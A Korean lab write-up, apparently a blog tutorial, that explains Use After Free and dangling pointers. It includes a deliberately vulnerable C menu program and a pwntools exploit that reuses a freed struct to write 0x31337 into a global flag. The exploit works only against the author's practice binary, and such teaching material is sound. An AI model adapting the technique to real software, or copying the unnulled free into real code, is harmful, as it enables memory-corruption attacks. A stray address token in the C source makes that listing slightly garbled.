시스템 해킹 실습 -11 . Use After Free (해제 후 사용 취약점)

2024. 7. 24. 18:04Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

배울내용:

Use After Free

메모리 커럽션 취약점

시스템 해킹 실습 

UAF 취약점

해제 후 사용 취약점

dangling pointer

type confusion

heap 구조 취약점

Use After Free 실습 

Arbitrary Address Write

 

 

 

 

Use After Free 취약점이란?

메모리 관리에서 발생할 수 있는 취약점 중 하나로 이 취약점은 프로그래밍에서 동적으로 할당된 메모리를 사용한 후 해제(free)했음에도 불구하고, 해당 메모리를 다시 사용하는 상황에서 발생한다.

 

 

 

발생원인

할당된 동적 메모리를 해제한 후, 해당 공간을 가리키고 있던 포인터를 NULL 로 초기화 하지않아, 해제된 메모리를 재사용 할 수 있을때 발생한다 

 

 

아래의 코드를 보면 어떤게 위험한 코드인지 안전한 코드인지 알수있다 

int main(){
	int *space = malloc(32);
	free(space);
	*space = 1; // vuln
}

int main(){
	int *space = malloc(32);
	free(space);
	*space = NULL; // safe
}

 

의미

Buffer Overflow 와 더불어 현재 시스템에서도 매우 활발하게 식별되는 취약점 유형, 매우높은 확률로 LPE, RCE 공격으로 이어질수있다

 

 

 

 

 

이취약점을 알려면 먼저 Dangling Pointer 의 개념도 알아야한다 

 

 

Dangling Pointer 란? 

Dangling Pointer(댕글링 포인터)는 특정 메모리 위치를 가리키고 있는 포인터인데, 그 메모리 위치가 더 이상 유효하지 않은 상태를 말한다. 이 상태는 일반적으로 해당 메모리가 해제된 후에도 포인터가 여전히 그 위치를 가리키고 있을 때 발생한다.

 

int main(){
	int *space = malloc(32);
	free(space);
	*space = 1; // vuln   <-- Dangling Pointer
}

 

위에서 봤던 코드에서 이부분이 Dangling Pointer 라고 할수있다 .

space를 free 를 헀음에도 그뒤에  해제된 space 의 메모리의 위치를 가리키고있다.

 

 

다른예시로도 아래와 볼수있다

 

#include <stdlib.h>
#include <stdio.h>

int main() {
    int *ptr = (int *)malloc(sizeof(int)); // 메모리 할당
    *ptr = 42; // 할당된 메모리 사용
    free(ptr); // 메모리 해제
    // ptr은 이제 댕글링 포인터
    // 아래는 잠재적으로 위험한 사용 예시
    printf("%d\n", *ptr); // 해제된 메모리 접근 -> 정의되지 않은 동작
    return 0;
}

 

 

 

 

 

왜 이런 결과가 발생하는가?

그이유는  Heap 은 효율적인 메모리 관리를 위해 , 새로 할당하고자 하는 공간의 크기를 확인한 후 해제된 공간 중 현재 할당하고자 하는 크기와 같은 공간이 있다면, 해당 공간을 재사용하기 때문이다 

 

 

 

 

Heap의 특성과 Dangling Pointer

Use After Free 취약점이 발생하여 Dangling Pointer 가 존재한다고 가정하고, 해제된 공간이 다른 할당 시도에 의해 재사용되면 동일한 주소 공간을 가리키는 2개의 포인터 변수가 존재하게 된다. 이때 , 2개의 포인터 변수의 타입이 다른 경우 의도적인 Type Confusion 이 발생하게 된다.

 

 

 

 

 

코드작성

 

더보기

use_after_free.c

/*
    gcc use_after_free.c -no-pie -o use_after_free
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct strStruct{
    int idx;
    char* string;
};

struct numStruct{
    int idx;
    int64_t num;
};


struct strStruct *str = NULL;
struct numStruct *num = NULL;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
}

int setString(){
    printf("[setString]\n");
    if(str == NULL){
        str = malloc(sizeof(struct strStruct));
        memset(str, 0, sizeof(struct strStruct));
    }
    printf("input str > ");
    char* buf = str->string;
    if(!buf){
        buf = malloc(0x10);
    }
    memset(buf, 0, 0x10);
    read(0, buf, 0x10);
    str->string = buf;
    return 0;
}

int getString(){
    printf("[getString]\n");
    if(str == NULL){
        return -1;
    }
    printf("string @ %s\n", str->string);
    return 0;
}

int delString(){
    printf("[delString]\n");
    if(str == NULL){
        return -1;
    }
    free(str->string);
    free(str);
    return 0;
}


int setNum(){
    printf("[setNum]\n");
    if(num == NULL){
        num = malloc(sizeof(struct numStruct));
        memset(num, 0, sizeof(struct numStruct));
    }
    printf("input num > ");
    scanf("%ld", &num->num);
    return 0;
}

int getNum(){
    printf("[getNum]\n");
    if(!num){
        return -1;
    }
    printf("num @ %ld\n", num->num);
    return 0;
}

int delNum(){
    printf("[delNum]\n");
    if(!num){
        return -1;
    }
    free(num);
    num = NULL;
    return 0;
}

int menu(){
    int idx = 0;
    printf("[MENU]\n");
    printf("1. setString\n");0x404070
    printf("2. getString\n");
    printf("3. delString\n");
    printf("4. setNum\n");
    printf("5. getNum\n");
    printf("6. delNum\n");
    printf("> ");
    scanf("%d",&idx);
    switch(idx){
        case 1:
            setString();
            break;
        case 2:
            getString();
            break;
        case 3:
            delString();
            break;
        case 4:
            setNum();
            break;
        case 5:
            getNum();
            break;  
        case 6:
            delNum();
            break;
        default:
            break;
    }
}

int flag = 0xdeadbeef;
int main(){
    init();
    while(1){
        printf("flag @ %x\n", flag);
        if(flag == 0x31337){
            printf("You Win!\n");
            return 0;
        }
        menu();
    }
}

 

 

 

위에 코드를 실행해서 해보면

 

 

1 번을 누르면 input str 에다가 값을 넣고 그값을 지워서 다시 할당해주면 Segmentation Fault 가 된다 

 

우선 UAF(Use After Free) 공격을 하려면 아래의 3가지 과정이 필요하다 

1.Dangling pointer 생성

2. 재할당

3. 기능호출

 

  1. Dangling 발생부분은 delString에서 free(str)에서 생김
  • 전역변수 str 에 댕글링 포인터가들어가있음 

 

del Num 은 free 이후에 Null 로 되어있어서 안전하게 구성이 되어있지만

 

 

delString 은 free(str) 을해주고 Null로 초기화시켜주지않았다 

 

 

2. Str 이 가지고있는 어떤 포인터에 다른 객체 , 를 재할당시켜야함 (그러지 않으면 걍 터뜨리는것밖에 안된다)

실제로 이것저것 시도해보면 무제한으로 menu를 여는것밖에 안된다  

  • 크기 동일 && 메모리 레이아웃 (크기도 동일 ,레이아웃 쪽으로도 쓸모 있어야함)

 

 

 

 

3. 기능호출 AAW 로 p32(31337) (성공조건에맞는 플레그) 를 바꿔준다

 

 

 

AAW  ( Arbitrary Address Write ) 이란? 

임의 주소 쓰기 취약점. 이 취약점은 공격자가 프로그램 내에서 임의의 메모리 주소에 데이터를 쓸 수 있는 상황을 말한다. 이로 인해 공격자는 메모리의 중요한 부분을 조작할수있다.

 

Use After free 취약점을 이용한 AAW 구현 , UAF 취약점을 이용해 임의 메모리 주소 쓰기 능력을 구현한후, 전역변수 flag 값을 조작한다

 

 

스크립트 작성

더보기

uaf.py

from pwn import *

# ELF 객체를 생성하여 바이너리 파일을 로드
elf = ELF("./use_after_free")

# 프로세스를 시작
p = elf.process()

# 문자열을 설정하는 함수
def set_String(string):
    p.sendlineafter(b"> ", b"1")  # 메뉴에서 옵션 1 선택
    p.sendlineafter(b"> ", string)  # 문자열을 입력

# 문자열을 삭제하는 함수
def del_string():
    p.sendlineafter(b"> ", b"3")  # 메뉴에서 옵션 3 선택

# 숫자를 설정하는 함수
def set_num(num):
    p.sendlineafter(b"> ", b"4")  # 메뉴에서 옵션 4 선택
    p.sendlineafter(b"> ", num)  # 숫자를 입력

# 주석: 다음은 유즈 애프터 프리 취약점을 악용하는 과정입니다.

# 1. 문자열을 설정 (메모리 할당)
set_String(b"AAAA")

# 2. 문자열을 삭제 (메모리 해제)
del_string()

# 3. 숫자를 설정하여 같은 메모리 영역에 재할당 (dangling pointer 발생)
#    이때, `flag` 함수의 주소를 설정함
set_num(str(elf.sym["flag"]).encode())

# 4. 다시 문자열을 설정하여 재할당된 메모리를 덮어씌움
#    p32(0x31337) 값을 넣어 새로운 문자열로 설정
set_String(p32(0x31337))

# 인터랙티브 모드로 전환하여 쉘을 유지
p.interactive()

 

더보기

설명제외 코드작성

from pwn import *

elf= ELF("./use_after_free")

p = elf.process()
def set_String(string):
    p.sendlineafter(b"> ",b"1") 
    p.sendlineafter(b"> ",string)

def del_string():
    p.sendlineafter(b"> ",b"3")
    
def set_num(num):
    p.sendlineafter(b"> ",b"4")
    p.sendlineafter(b"> ",num)



#dangling pointer
set_String(b"AAAA")
del_string()
#realloc
set_num(str(elf.sym["flag"]).encode())  
#use
set_String(p32(0x31337))


p.interactive()

 

 

 

코드를 적은뒤에 실행시켜보면 아래와 같이 성공 플레그를 뛰울수있게된다

 

 

 

간단하게 성공할수있다 

728x90